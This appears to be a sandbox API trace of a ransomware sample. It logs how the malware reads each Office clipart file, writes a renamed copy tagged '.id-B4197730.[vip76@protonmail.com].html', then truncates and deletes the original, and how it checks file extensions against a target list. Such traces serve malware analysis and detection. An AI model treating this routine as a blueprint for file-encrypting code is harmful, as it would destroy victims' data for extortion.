	[0086.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.694] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=18194) returned 1
	[0086.694] CloseHandle (hObject=0x328) returned 1
	[0086.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220
	[0086.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.694] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.695] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.695] GetLastError () returned 0x0
	[0086.695] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x4712, lpOverlapped=0x0) returned 1
	[0086.704] WriteFile (in: hFile=0x378, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x4720, lpOverlapped=0x0) returned 1
	[0086.705] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.705] WriteFile (in: hFile=0x378, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.705] SetEndOfFile (hFile=0x378) returned 1
	[0086.706] CloseHandle (hObject=0x378) returned 1
	[0086.706] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.706] SetEndOfFile (hFile=0x328) returned 1
	[0086.707] CloseHandle (hObject=0x328) returned 1
	[0086.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1
	[0087.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.562] lstrlenW (lpString=".doc") returned 4
	[0087.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.562] lstrlenW (lpString=".docx") returned 5
	[0087.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.562] lstrlenW (lpString=".pdf") returned 4
	[0087.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.562] lstrlenW (lpString=".xls") returned 4
	[0087.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.562] lstrlenW (lpString=".xlsx") returned 5
	[0087.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.562] lstrlenW (lpString=".ppt") returned 4
	[0087.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.563] lstrlenW (lpString=".zip") returned 4
	[0087.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.563] lstrlenW (lpString=".rar") returned 4
	[0087.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.563] lstrlenW (lpString=".bz2") returned 4
	[0087.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.563] lstrlenW (lpString=".7z") returned 3
	[0087.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.563] lstrlenW (lpString=".dbf") returned 4
	[0087.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.563] lstrlenW (lpString=".1cd") returned 4
	[0087.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.563] lstrlenW (lpString=".jpg") returned 4
	[0087.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.563] lstrlenW (lpString=".doc") returned 4
	[0087.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.563] lstrlenW (lpString=".docx") returned 5
	[0087.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.563] lstrlenW (lpString=".pdf") returned 4
	[0087.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.563] lstrlenW (lpString=".xls") returned 4
	[0087.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.563] lstrlenW (lpString=".xlsx") returned 5
	[0087.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.563] lstrlenW (lpString=".ppt") returned 4
	[0087.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.564] lstrlenW (lpString=".zip") returned 4
	[0087.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.564] lstrlenW (lpString=".rar") returned 4
	[0087.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.564] lstrlenW (lpString=".bz2") returned 4
	[0087.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.564] lstrlenW (lpString=".7z") returned 3
	[0087.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.564] lstrlenW (lpString=".dbf") returned 4
	[0087.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.564] lstrlenW (lpString=".1cd") returned 4
	[0087.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0087.564] lstrlenW (lpString=".jpg") returned 4
	[0087.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.564] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.564] lstrlenW (lpString="FD00435_.WMF") returned 12
	[0087.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.992] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2108) returned 1
	[0087.992] CloseHandle (hObject=0x38c) returned 1
	[0088.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220
	[0088.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0088.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.011] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.018] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0088.025] GetLastError () returned 0x0
	[0088.025] ReadFile (in: hFile=0x38c, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x83c, lpOverlapped=0x0) returned 1
	[0088.027] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x840, lpOverlapped=0x0) returned 1
	[0088.028] ReadFile (in: hFile=0x38c, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.028] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.028] SetEndOfFile (hFile=0x338) returned 1
	[0088.028] CloseHandle (hObject=0x338) returned 1
	[0088.029] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.029] SetEndOfFile (hFile=0x38c) returned 1
	[0088.030] CloseHandle (hObject=0x38c) returned 1
	[0088.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0088.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1
	[0088.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.030] lstrlenW (lpString=".doc") returned 4
	[0088.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.030] lstrlenW (lpString=".docx") returned 5
	[0088.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.030] lstrlenW (lpString=".pdf") returned 4
	[0088.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.030] lstrlenW (lpString=".xls") returned 4
	[0088.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.030] lstrlenW (lpString=".xlsx") returned 5
	[0088.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.030] lstrlenW (lpString=".ppt") returned 4
	[0088.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.031] lstrlenW (lpString=".zip") returned 4
	[0088.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.031] lstrlenW (lpString=".rar") returned 4
	[0088.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString=".bz2") returned 4
	[0088.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString=".7z") returned 3
	[0088.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.031] lstrlenW (lpString=".dbf") returned 4
	[0088.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.031] lstrlenW (lpString=".1cd") returned 4
	[0088.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.031] lstrlenW (lpString=".jpg") returned 4
	[0088.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.031] lstrlenW (lpString=".doc") returned 4
	[0088.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString=".docx") returned 5
	[0088.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.031] lstrlenW (lpString=".pdf") returned 4
	[0088.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString=".xls") returned 4
	[0088.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.032] lstrlenW (lpString=".xlsx") returned 5
	[0088.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.032] lstrlenW (lpString=".ppt") returned 4
	[0088.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".zip") returned 4
	[0088.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.032] lstrlenW (lpString=".rar") returned 4
	[0088.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString=".bz2") returned 4
	[0088.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString=".7z") returned 3
	[0088.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".dbf") returned 4
	[0088.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".1cd") returned 4
	[0088.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".jpg") returned 4
	[0088.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.032] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0088.033] lstrlenW (lpString="FD00544_.WMF") returned 12
	[0088.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.033] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=5260) returned 1
	[0088.033] CloseHandle (hObject=0x38c) returned 1
	[0088.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220
	[0088.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0088.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.034] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.034] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0088.034] GetLastError () returned 0x0
	[0088.034] ReadFile (in: hFile=0x38c, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x148c, lpOverlapped=0x0) returned 1
	[0088.036] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0088.038] ReadFile (in: hFile=0x38c, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.038] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.038] SetEndOfFile (hFile=0x338) returned 1
	[0088.038] CloseHandle (hObject=0x338) returned 1
	[0088.039] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.039] SetEndOfFile (hFile=0x38c) returned 1
	[0088.040] CloseHandle (hObject=0x38c) returned 1
	[0088.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0088.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.040] lstrlenW (lpString=".doc") returned 4
	[0088.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString=".docx") returned 5
	[0088.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.041] lstrlenW (lpString=".pdf") returned 4
	[0088.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString=".xls") returned 4
	[0088.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.041] lstrlenW (lpString=".xlsx") returned 5
	[0088.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.041] lstrlenW (lpString=".ppt") returned 4
	[0088.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.041] lstrlenW (lpString=".zip") returned 4
	[0088.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.041] lstrlenW (lpString=".rar") returned 4
	[0088.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString=".bz2") returned 4
	[0088.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString=".7z") returned 3
	[0088.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.041] lstrlenW (lpString=".dbf") returned 4
	[0088.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.041] lstrlenW (lpString=".1cd") returned 4
	[0088.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.041] lstrlenW (lpString=".jpg") returned 4
	[0088.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.042] lstrlenW (lpString=".doc") returned 4
	[0088.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.042] lstrlenW (lpString=".docx") returned 5
	[0088.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.042] lstrlenW (lpString=".pdf") returned 4
	[0088.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.042] lstrlenW (lpString=".xls") returned 4
	[0088.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.042] lstrlenW (lpString=".xlsx") returned 5
	[0088.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.042] lstrlenW (lpString=".ppt") returned 4
	[0088.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.042] lstrlenW (lpString=".zip") returned 4
	[0088.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.042] lstrlenW (lpString=".rar") returned 4
	[0088.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.042] lstrlenW (lpString=".bz2") returned 4
	[0088.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.042] lstrlenW (lpString=".7z") returned 3
	[0088.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.042] lstrlenW (lpString=".dbf") returned 4
	[0088.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.043] lstrlenW (lpString=".1cd") returned 4
	[0088.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0088.043] lstrlenW (lpString=".jpg") returned 4
	[0088.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.043] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0088.043] lstrlenW (lpString="FD00564_.WMF") returned 12
